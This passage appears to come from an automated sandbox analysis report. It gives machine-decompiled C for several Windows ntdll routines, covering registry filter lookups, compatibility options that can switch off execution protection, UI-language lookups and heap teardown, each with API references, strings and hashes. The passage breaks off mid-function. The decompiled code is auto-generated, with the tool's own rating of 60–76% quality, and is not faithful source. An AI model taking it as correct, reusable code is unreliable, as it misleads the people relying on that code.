								E6C0495D0();
								goto L37;
							}
							_t138 = _v592;
							_t118 = _v568;
							do {
								_push( &_v572);
								_push(_t118);
								_push(_t138);
								_push(2);
								_push( &_v580);
								_push(_v564);
								_t152 = E6C049650();
								if(_t152 == 0x80000005 || _t152 == 0xc0000023) {
									if(_t150 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
									}
									_t147 =  *( *[fs:0x30] + 0x18);
									if(_t147 != 0) {
										_t150 = RtlAllocateHeap(_t147,  *0x6c0f7b9c + 0x180000, _v572);
										if(_t150 == 0) {
											goto L25;
										}
										_t118 = _v572;
										_t138 = _t150;
										_v596 = _t150;
										_v568 = _t118;
										goto L27;
									} else {
										_t150 = 0;
										L25:
										_t151 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t118 = _v568;
								}
								L27:
							} while (_t151 == 0x80000005 || _t151 == 0xc0000023);
							_v592 = _t138;
							_t137 = _v608;
							if(_t151 >= 0) {
								_t148 = _v592;
								if( *((intOrPtr*)(_t148 + 4)) != 1) {
									goto L36;
								}
								_t125 =  *((intOrPtr*)(_t148 + 8));
								if(_t125 > 0xfffe) {
									goto L36;
								}
								_t126 = _t125 + 0xfffffffe;
								_v616 = _t126;
								_v614 = _t126;
								_v612 = _t148 + 0xc;
								if(RtlCompareUnicodeString( &_v588,  &_v616, 1) == 0) {
									break;
								}
								goto L36;
							}
							_push(_v564);
							E6C0495D0();
							_t65 = _t151 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t151 = _t151 &  ~_t65;
							L37:
							_t99 = _v596;
							_t143 = _v600 + 1;
							_v600 = _t143;
						} while (_t151 >= 0);
						if(_t150 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
						}
						if(_t151 >= 0) {
							_push( *_t137);
							E6C0495D0();
							 *_t137 = _v564;
						}
						_t85 = _t151 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t89 =  ~_t85 & _t151;
					}
					goto L4;
				}
				if(_t89 != 0xc0000034) {
					if(_t89 == 0xc0000023) {
						goto L3;
					}
					if(_t89 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x6c008239
0x6c00824b
0x6c00824e
0x6c00825d
0x6c008260
0x6c00826e
0x6c008275
0x6c00827b
0x6c00827d
0x6c008287
0x6c008294
0x6c0082ce
0x6c0082de
0x6c0082de
0x6c00829c
0x6c00829d
0x6c0082a8
0x6c0082a9
0x6c0082b1
0x6c0082b2
0x6c0082b4
0x6c0082bb
0x6c062dfa
0x6c0082cc
0x6c0082cc
0x6c062e19
0x6c062e19
0x6c062e1b
0x6c062e1e
0x6c062e30
0x6c062e3d
0x00000000
0x00000000
0x6c062e5a
0x6c062e61
0x6c062e68
0x6c062e72
0x6c062e72
0x6c062e78
0x6c062e7e
0x6c062e80
0x6c062e86
0x6c062e8c
0x6c062e8c
0x6c062e92
0x6c062e93
0x6c062e99
0x6c062e9a
0x6c062e9c
0x6c062e9d
0x6c062ea4
0x6c062ea8
0x00000000
0x00000000
0x6c062eae
0x6c062eb8
0x6c062ec3
0x6c062eca
0x6c062ed1
0x6c062edb
0x6c062ee3
0x6c062eef
0x6c062efb
0x6c062efc
0x6c062f08
0x6c062f12
0x6c062f13
0x6c062f22
0x6c062f26
0x00000000
0x00000000
0x6c062f3d
0x6c062f41
0x6c063069
0x6c063069
0x6c06306f
0x00000000
0x6c06306f
0x6c062f47
0x6c062f4d
0x6c062f53
0x6c062f59
0x6c062f5a
0x6c062f5b
0x6c062f5c
0x6c062f64
0x6c062f65
0x6c062f70
0x6c062f78
0x6c062f84
0x6c062f92
0x6c062f92
0x6c062f9d
0x6c062fa2
0x6c063004
0x6c063008
0x00000000
0x00000000
0x6c06300a
0x6c063010
0x6c063012
0x6c063018
0x00000000
0x6c062fa4
0x6c062fa4
0x6c062fa6
0x6c062fa6
0x00000000
0x6c062fa6
0x6c062fab
0x6c062fab
0x6c062fab
0x6c062fab
0x6c062fb1
0x6c062fb1
0x6c062fc1
0x6c062fc7
0x6c062fcf
0x6c063020
0x6c06302a
0x00000000
0x00000000
0x6c06302c
0x6c063034
0x00000000
0x00000000
0x6c063036
0x6c063039
0x6c063040
0x6c06304a
0x6c063067
0x00000000
0x00000000
0x00000000
0x6c063067
0x6c062fd1
0x6c062fd7
0x6c062fdc
0x6c062fe4
0x6c062fe6
0x6c063074
0x6c06307a
0x6c063080
0x6c063081
0x6c063087
0x6c063091
0x6c06309f
0x6c06309f
0x6c0630a6
0x6c0630a8
0x6c0630aa
0x6c0630b5
0x6c0630b5
0x6c0630b7
0x6c0630bf
0x6c0630c1
0x6c0630c1
0x00000000
0x6c062dfa
0x6c0082c6
0x6c062ddd
0x00000000
0x00000000
0x6c062de8
0x00000000
0x00000000
0x6c062dee
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,UseFilter,?,00000000,?), ref: 6C00828D
ZwQueryValueKey.1105(?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6C0082B4
RtlInitUnicodeStringEx.1105(?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6C062E36
RtlPrefixUnicodeString.1105(?,?,00000001,?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6C062E53
ZwEnumerateKey.1105(?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?,00000220), ref: 6C062E9F
ZwOpenKey.1105(00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?), ref: 6C062F1D
RtlInitUnicodeStringEx.1105(?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\), ref: 6C062F38
ZwQueryValueKey.1105(00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220), ref: 6C062F6B
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000), ref: 6C062F92

Strings

FilterFullPath, xrefs: 6C062F2C
UseFilter, xrefs: 6C008263
\??\, xrefs: 6C062E2A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Init$QueryValue$EnumerateFreeHeapOpenPrefix
String ID: FilterFullPath$UseFilter$\??\
API String ID: 941260810-2779062949
Opcode ID: 34ccd36fd983f3fed939b04705c6dd1a85d1d41268862f8ff7970805ce3b7fdb
Instruction ID: e4f0e768989c86289fe6af612730a355d2f04fb13711d4faf7409d5ad504bae1
Opcode Fuzzy Hash: 34ccd36fd983f3fed939b04705c6dd1a85d1d41268862f8ff7970805ce3b7fdb
Instruction Fuzzy Hash: 86A15C319116299BDB21CF65CC88BDEB3F8EF44714F1142EAE908A7A50D735AE88CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6C0040FD, Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6C0040FD(void* __ecx) {
				signed int _v8;
				long _v548;
				signed int _v552;
				char _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t53;
				unsigned int _t66;
				void* _t68;
				wchar_t* _t73;
				intOrPtr _t77;
				short* _t85;
				wchar_t* _t98;
				signed int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x6c0fd360 ^ _t107;
				_v8 =  *0x6c0fd360 ^ _t107;
				_t105 = __ecx;
				if( *0x6c0f84d4 == 0) {
					L5:
					return E6C04B640(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E6C01E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v552 = _t85;
					if(E6C0042EB(_t105) != 0) {
						L15:
						_t103 = 2;
						_v552 = _t103;
						L10:
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E6C0041EA(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
						}
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v552 = _t102;
						}
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v552);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E6C0496C0();
						}
						goto L4;
					}
					_v556 = _t85;
					_t102 =  &_v556;
					if(E6C00429E(_t105 + 0x2c, _t102) >= 0) {
						if(_v556 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E6C095720(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v556);
						_v560 = 0x214;
						memset( &_v548, 0, 0x214);
						_t106 =  *0x6c0f84d4;
						_t110 = _t108 + 0x20;
						 *0x6c0fb1e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						if( *( *0x6c0f84d4)() == 0) {
							goto L8;
						}
						_t66 = _v560;
						if(_t66 == 0 || _t66 >= 0x214) {
							goto L8;
						} else {
							_t68 = (_t66 >> 1) * 2 - 2;
							if(_t68 >= 0x214) {
								E6C04B75A();
								goto L33;
							}
							_push(_t85);
							 *((short*)(_t107 + _t68 - 0x220)) = 0;
							E6C095720(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
							_t111 = _t110 + 0x14;
							_t73 = wcsstr( &_v548, L"Execute=1");
							_push(_t85);
							if(_t73 == 0) {
								E6C095720(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
								_t106 =  &_v548;
								_t98 = _t106;
								_t112 = _t111 + 0x14;
								_t77 = _t98 + _v560;
								_v556 = _t77;
								if(_t98 >= _t77) {
									goto L8;
								} else {
									goto L27;
								}
								do {
									L27:
									_t85 = wcschr(_t106, 0x20);
									if(_t85 != 0) {
										 *_t85 = 0;
									}
									E6C095720(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
									_t112 = _t112 + 0x10;
									E6C083E13(_t105, _t106);
									if(_t85 == 0) {
										goto L8;
									}
									_t41 = _t85 + 2; // 0x2
									_t106 = _t41;
								} while (_t106 < _v556);
								goto L8;
							}
							_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
							_push(3);
							_push(0x55);
							E6C095720();
							goto L15;
						}
					}
					L8:
					if(E6C0041F7(_t105) != 0) {
						goto L15;
					}
					_t103 = _v552;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x6c00410d
0x6c00410f
0x6c00411c
0x6c00411e
0x6c004158
0x6c004168
0x6c004168
0x6c004126
0x6c004130
0x6c00413c
0x6c0604a2
0x6c004142
0x6c00414b
0x6c00414b
0x6c00414f
0x6c00416b
0x6c004178
0x6c0041d0
0x6c0041d2
0x6c0041d3
0x6c0041a7
0x6c0041b0
0x6c0041db
0x6c0041b2
0x6c0041b8
0x6c0041bf
0x6c0041c1
0x6c0041c1
0x6c0041c5
0x6c0041df
0x6c0041e2
0x6c0041e2
0x6c0041c9
0x6c060628
0x6c060628
0x6c060630
0x6c060631
0x6c060633
0x6c060635
0x6c060635
0x00000000
0x6c0041c9
0x6c00417d
0x6c004183
0x6c004190
0x6c0604af
0x00000000
0x00000000
0x6c0604b5
0x6c0604c8
0x6c0604d5
0x6c0604e5
0x6c0604ea
0x6c0604f6
0x6c060518
0x6c060522
0x00000000
0x00000000
0x6c060528
0x6c060530
0x00000000
0x6c060543
0x6c060545
0x6c06054e
0x6c060623
0x00000000
0x6c060623
0x6c060556
0x6c060557
0x6c06056f
0x6c060574
0x6c060583
0x6c06058a
0x6c06058d
0x6c0605b5
0x6c0605c0
0x6c0605c6
0x6c0605c8
0x6c0605cb
0x6c0605cd
0x6c0605d5
0x00000000
0x00000000
0x00000000
0x00000000
0x6c0605db
0x6c0605db
0x6c0605e3
0x6c0605e9
0x6c0605ed
0x6c0605ed
0x6c0605fa
0x6c0605ff
0x6c060606
0x6c06060d
0x00000000
0x00000000
0x6c060613
0x6c060613
0x6c060616
0x00000000
0x6c06061e
0x6c06058f
0x6c060594
0x6c060596
0x6c060598
0x00000000
0x6c06059d
0x6c060530
0x6c004196
0x6c00419f
0x00000000
0x00000000
0x6c0041a1
0x00000000
0x6c004151
0x6c004151
0x6c004151
0x00000000
0x6c004151

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?), ref: 6C004130
ZwSetInformationProcess.1105(000000FF,00000022,?,00000004,00000003,?,00000000,00000000,?), ref: 6C060635

Strings

CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 6C0605AC
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 6C06058F
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 6C0604BF
CLIENT(ntdll): Processing section info %ws..., xrefs: 6C0605F1
Execute=1, xrefs: 6C06057D
ExecuteOptions, xrefs: 6C06050A
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 6C060566

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImageInformationProcess
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 4034523672-484625025
Opcode ID: 95f5a6df3207ea1e81766c6d2aaed98124a71fbcc04a022e97fe4330efc1c589
Instruction ID: 071ff221dfa0a21db00e17bb7721d541fbee0f249e162a44a251ed2ae2865d9d
Opcode Fuzzy Hash: 95f5a6df3207ea1e81766c6d2aaed98124a71fbcc04a022e97fe4330efc1c589
Instruction Fuzzy Hash: CE613A31B41218BAFF10DE95EC84FEA77F8AF68708F1101A5E51497A81DB30AF459B68

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BCF70, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6C0BCF70(void* __ecx, intOrPtr _a4, intOrPtr _a8, unsigned int* _a12) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _t61;
				char _t92;
				unsigned int* _t94;
				void* _t104;
				char _t105;
				unsigned int _t107;
				intOrPtr _t109;

				_v44 = 7;
				_t92 = 0;
				_t96 = 0x2000000;
				_v40 = 0;
				_v52 = 0;
				_v48 = 0;
				_t109 = E6C00F108(0, __ecx, __ecx,  &_v40);
				if(_t109 >= 0) {
					if(_a4 != 1) {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop\\MuiCached");
						_v32 = _v48;
						_t104 = 0x18;
						_v28 =  &_v44;
						_push( &_v36);
						_push(0x20019);
						_v60 = 0;
						_push( &_v60);
						_v36 = _t104;
						_v24 = 0x40;
						_v20 = 0;
						_v16 = 0;
						_t109 = E6C049600();
						if(_t109 < 0) {
							L5:
							if(_t109 == 0x80000005) {
								goto L9;
							} else {
								_push(_v60);
								E6C0495D0();
								_v64 = _t92;
								RtlInitUnicodeString( &_v48, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings");
								_v48 = _t104;
								_v44 = _t92;
								goto L7;
							}
						} else {
							RtlInitUnicodeString( &_v44, L"MachinePreferredUILanguages");
							_push(0x2000000);
							_t96 = _v68;
							_t109 = E6C00F018(_t96,  &_v52,  &_v60, 0,  &_v64);
							if(_t109 >= 0) {
								goto L9;
							} else {
								goto L5;
							}
						}
					} else {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop");
						_v36 = 0x18;
						_v32 = _v48;
						L7:
						_v68 = _t92;
						_v36 =  &_v52;
						_push( &_v44);
						_push(0x20019);
						_v32 = 0x40;
						_push( &_v68);
						_v28 = _t92;
						_v24 = _t92;
						_t109 = E6C049600();
						if(_t109 >= 0) {
							RtlInitUnicodeString( &_v52, L"PreferredUILanguages");
							_push(_t96);
							_t96 = _v76;
							_t109 = E6C00F018(_t96,  &_v60,  &_v68, _t92,  &_v72);
							L9:
							if(_t109 != 0xc0000034) {
								_t105 = _v56;
								if(_t105 != 0) {
									if(_t109 != 0x80000005) {
										_t109 = 0xc0000034;
									} else {
										_t107 = _t105 + 1 >> 1;
										if(_a8 != _t92) {
											_t94 = _a12;
											if( *_t94 >= _t107) {
												_push(_t96);
												_t109 = E6C00F018(_v60,  &_v44,  &_v52, _a8,  &_v56);
												if(_t109 < 0) {
													goto L17;
												} else {
													if(_v56 == 7) {
														goto L16;
													} else {
														_t109 = 0xc0000034;
														goto L17;
													}
												}
												L29:
											} else {
												_t109 = 0xc0000023;
												L16:
												 *_t94 = _t107;
											}
											L17:
											_t92 = 0;
										} else {
											_t109 = _t92;
											 *_a12 = _t107;
										}
									}
								}
							}
						}
					}
				}
				_t61 = _v40;
				if(_t61 != 0) {
					if(_t61 != 0xffffffff) {
						 *0x6bfe6cc4(_t61);
					}
					_v40 = _t92;
				}
				if(_v52 != 0) {
					_push(_v52);
					E6C0495D0();
				}
				return _t109;
				goto L29;
			}

0x6c0bcf82
0x6c0bcf8c
0x6c0bcf91
0x6c0bcf96
0x6c0bcf9a
0x6c0bcf9e
0x6c0bcfa7
0x6c0bcfab
0x6c0bcfb9
0x6c0bcfe1
0x6c0bcfea
0x6c0bcff4
0x6c0bcff5
0x6c0bcffd
0x6c0bcffe
0x6c0bd007
0x6c0bd00b
0x6c0bd00c
0x6c0bd010
0x6c0bd018
0x6c0bd01c
0x6c0bd025
0x6c0bd029
0x6c0bd05d
0x6c0bd063
0x00000000
0x6c0bd069
0x6c0bd069
0x6c0bd06d
0x6c0bd07b
0x6c0bd080
0x6c0bd085
0x6c0bd089
0x00000000
0x6c0bd089
0x6c0bd02b
0x6c0bd035
0x6c0bd03a
0x6c0bd03b
0x6c0bd053
0x6c0bd057
0x00000000
0x00000000
0x00000000
0x00000000
0x6c0bd057
0x6c0bcfbb
0x6c0bcfc1
0x6c0bcfca
0x6c0bcfd2
0x6c0bd08d
0x6c0bd091
0x6c0bd095
0x6c0bd09d
0x6c0bd09e
0x6c0bd0a7
0x6c0bd0af
0x6c0bd0b0
0x6c0bd0b4
0x6c0bd0bd
0x6c0bd0c1
0x6c0bd0cd
0x6c0bd0d2
0x6c0bd0d3
0x6c0bd0eb
0x6c0bd0ed
0x6c0bd0f4
0x6c0bd0f6
0x6c0bd0fc
0x6c0bd104
0x6c0bd18d
0x6c0bd10a
0x6c0bd10b
0x6c0bd110
0x6c0bd11b
0x6c0bd120
0x6c0bd15e
0x6c0bd179
0x6c0bd17d
0x00000000
0x6c0bd17f
0x6c0bd184
0x00000000
0x6c0bd186
0x6c0bd186
0x00000000
0x6c0bd186
0x6c0bd184
0x00000000
0x6c0bd122
0x6c0bd122
0x6c0bd127
0x6c0bd127
0x6c0bd127
0x6c0bd129
0x6c0bd129
0x6c0bd112
0x6c0bd115
0x6c0bd117
0x6c0bd117
0x6c0bd110
0x6c0bd104
0x6c0bd0fc
0x6c0bd0f4
0x6c0bd0c1
0x6c0bcfb9
0x6c0bd12b
0x6c0bd131
0x6c0bd136
0x6c0bd139
0x6c0bd139
0x6c0bd13f
0x6c0bd13f
0x6c0bd148
0x6c0bd14a
0x6c0bd14e
0x6c0bd14e
0x6c0bd15b
0x00000000

APIs

Part of subcall function 6C00F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6C0BCFA7,?,?,?), ref: 6C00F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6C0BCFC1
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6C0BCFE1
ZwOpenKey.1105(?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6C0BD020
RtlInitUnicodeString.1105(?,MachinePreferredUILanguages,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6C0BD035
ZwClose.1105(?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6C0BD06D
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6C0BD080
ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6C0BD0B8
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6C0BD0CD
ZwClose.1105(?,?,?,?), ref: 6C0BD139
ZwClose.1105(00000000,?,?,?), ref: 6C0BD14E

Strings

Control Panel\Desktop, xrefs: 6C0BCFBB
Control Panel\Desktop\MuiCached, xrefs: 6C0BCFDB
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6C0BD072
PreferredUILanguages, xrefs: 6C0BD0C3
@, xrefs: 6C0BD0A7
MachinePreferredUILanguages, xrefs: 6C0BD02B
@, xrefs: 6C0BD010

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$CurrentUser
String ID: @$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3208599939-2289709611
Opcode ID: 4408e4e304002213314022ab3a3472bcfa8c71f25c0e9ea5fddf164c863297bf
Instruction ID: 1e267dc5de922ddf37ccf2a4a4efe8abb8b11588efd924fbdc69e9894d228b6d
Opcode Fuzzy Hash: 4408e4e304002213314022ab3a3472bcfa8c71f25c0e9ea5fddf164c863297bf
Instruction Fuzzy Hash: 26513071808705AFC311CF15D880A9FF7E8BB85758F404E2EF598A7654D735D9098BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C002FB0, Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6C002FB0(intOrPtr* _a4) {
				signed int _v8;
				void* _v36;
				void* _v62;
				void* _v68;
				void* _v72;
				signed int _v96;
				void* _v98;
				char _v100;
				void* _v104;
				void* _v108;
				void* _v112;
				void* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t62;
				intOrPtr _t64;
				signed int* _t83;
				signed int _t84;
				signed int _t88;
				char* _t89;
				char _t93;
				void* _t99;
				signed int* _t102;
				intOrPtr _t103;
				void* _t104;
				signed int* _t107;
				signed int _t108;
				char* _t115;
				signed int _t118;
				signed int _t124;
				void* _t125;
				void* _t126;
				signed int _t127;
				intOrPtr* _t128;
				void* _t135;
				intOrPtr _t137;
				intOrPtr* _t159;
				void* _t160;
				void* _t162;
				intOrPtr* _t164;
				void* _t167;
				signed int* _t168;
				signed int* _t169;
				signed int _t172;
				signed int _t174;

				_t174 = (_t172 & 0xfffffff8) - 0x64;
				_v8 =  *0x6c0fd360 ^ _t174;
				_push(_t125);
				_t159 = _a4;
				if(_t159 == 0) {
					__eflags =  *0x6c0f8748 - 2;
					if( *0x6c0f8748 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E6C00B150();
						} else {
							E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E6C00B150();
						__eflags =  *0x6c0f7bc8;
						if(__eflags == 0) {
							_t135 = 2;
							E6C0C2073(_t125, _t135, _t159, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t160);
					_pop(_t162);
					_pop(_t126);
					return E6C04B640(_t62, _t126, _v8 ^ _t174, _t155, _t160, _t162);
				}
				if( *((intOrPtr*)(_t159 + 8)) == 0xddeeddee) {
					_t137 =  *[fs:0x30];
					__eflags = _t159 -  *((intOrPtr*)(_t137 + 0x18));
					if(_t159 ==  *((intOrPtr*)(_t137 + 0x18))) {
						L30:
						_t62 = _t159;
						goto L27;
					}
					_t138 =  *(_t159 + 0x20);
					__eflags =  *(_t159 + 0x20);
					if( *(_t159 + 0x20) != 0) {
						_t155 = _t159;
						E6C0ACB1E(_t138, _t159, 0, 8, 0);
					}
					E6C0031B0(_t125, _t159, _t155);
					E6C0C274F(_t159);
					_t155 = 1;
					E6C031249(_t159, 1, 0, 0);
					E6C0CB581(_t159);
					goto L26;
				}
				if(( *(_t159 + 0x44) & 0x01000000) != 0) {
					_t164 =  *0x6c0f5718; // 0x0
					 *0x6c0fb1e0(_t159);
					_t62 =  *_t164();
					goto L27;
				}
				_t144 =  *((intOrPtr*)(_t159 + 0x58));
				if( *((intOrPtr*)(_t159 + 0x58)) != 0) {
					_t155 = _t159;
					E6C0ACB1E(_t144, _t159, 0, 8, 0);
				}
				E6C0031B0(_t125, _t159, _t155);
				if(( *(_t159 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t159 + 0x40) & 0x10000000;
					if(( *(_t159 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t124 = E6C0C3518(_t159);
					__eflags = _t124;
					if(_t124 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t159 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						_t155 = 1;
						E6C031249(_t159, 1, 0, 0);
						_t83 = _t159 + 0x9c;
						_t127 =  *_t83;
						while(_t83 != _t127) {
							_t84 = _t127;
							_t155 =  &_v96;
							_t127 =  *_t127;
							_v96 = _t84 & 0xffff0000;
							_v100 = 0;
							E6C03174B( &_v96,  &_v100, 0x8000);
							_t88 = E6C027D50();
							__eflags = _t88;
							if(_t88 == 0) {
								_t89 = 0x7ffe0388;
							} else {
								_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t89;
							if(__eflags != 0) {
								_t155 = _v96;
								E6C0BFE3F(_t159, _v96, _v100);
							}
							_t83 = _t159 + 0x9c;
						}
						if( *((char*)(_t159 + 0xda)) == 2) {
							_t93 =  *((intOrPtr*)(_t159 + 0xd4));
						} else {
							_t93 = 0;
						}
						if(_t93 != 0) {
							 *((intOrPtr*)(_t174 + 0x1c)) = _t93;
							_t155 = _t174 + 0x1c;
							 *((intOrPtr*)(_t174 + 0x1c)) = 0;
							E6C03174B(_t174 + 0x1c, _t174 + 0x1c, 0x8000);
						}
						_t128 = _t159 + 0x88;
						if( *_t128 != 0) {
							 *((intOrPtr*)(_t174 + 0x24)) = 0;
							_t155 = _t128;
							E6C03174B(_t128, _t174 + 0x24, 0x8000);
							 *_t128 = 0;
						}
						if(( *(_t159 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t159 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t167 =  *((intOrPtr*)(_t159 + 0xa8)) - 0x10;
						E6C003138(_t167);
						if(_t167 != _t159) {
							goto L16;
						} else {
							_t99 = E6C027D50();
							_t168 = 0x7ffe0380;
							if(_t99 != 0) {
								_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t102 = 0x7ffe0380;
							}
							if( *_t102 != 0) {
								_t103 =  *[fs:0x30];
								__eflags =  *(_t103 + 0x240) & 0x00000001;
